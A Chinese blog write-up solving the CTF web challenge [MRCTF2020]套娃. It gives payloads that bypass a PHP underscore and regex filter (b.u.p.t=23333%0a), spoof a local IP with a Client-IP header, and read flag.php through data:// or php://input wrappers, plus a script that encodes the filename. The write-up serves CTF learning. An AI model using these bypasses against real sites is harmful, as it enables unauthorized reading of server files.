[MRCTF2020]套娃

已于 2023-09-18 18:47:45 修改
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分类专栏： CTF 文章标签： linux 数据库 运维 网络 网络安全 web安全
于 2023-09-17 18:21:53 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/wp568/article/details/132948494
版权

F12看源码：

//1st
$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}

需要绕过substr_count审查“_”、preg_match函数

_可以使用 .代替  b_u_p_t 变为b.u.p.t

preg_match函数使用%0a截断绕过

payload：

?b.u.p.t=23333%0a

看到：

查看 /secrettw.php

F12看源码：

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JSFuck - Write any JavaScript with 6 Characters: []()!+

解码结果为：post me Merak

得到源码：

Flag is here~But how to get it? <?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>

分析源码


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re;

文件名被处理过

我们需要file=flag.php，通过一下代码编译

<?php
$v =  'flag.php';	
function change($v){    
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) - $i*2 ); 
    } 
	$re = base64_encode($re); 
	echo $re;
    return $re; 
} 
change($v);
?>

得到

ZmpdYSZmXGI=

if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' )

为了满足“$ip === '127.0.0.1'”需要改包

  1. CLIENT-IP:

  2. X-FORWARDED-FOR:

  3. X-REAL-IP:

其中 X-FORWARDED-FOR被禁，所以使用

 CLIENT-IP:127.0.0.1

空格被过滤，可以将todat is a happy day 改为

todat%20is%20a%20happy%20day

或者:todat+is+a+happy+day

构筑payload:

?2333=data://text/plain,todat%20is%20a%20happy%20day&file=ZmpdYSZmXGI=

或者使用

?2333=php://input&file=ZmpdYSZmXGI=

POST：todat is a happy day

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【BUUCTF】[MRCTF2020]套娃
pofesser的博客
01-19 3089
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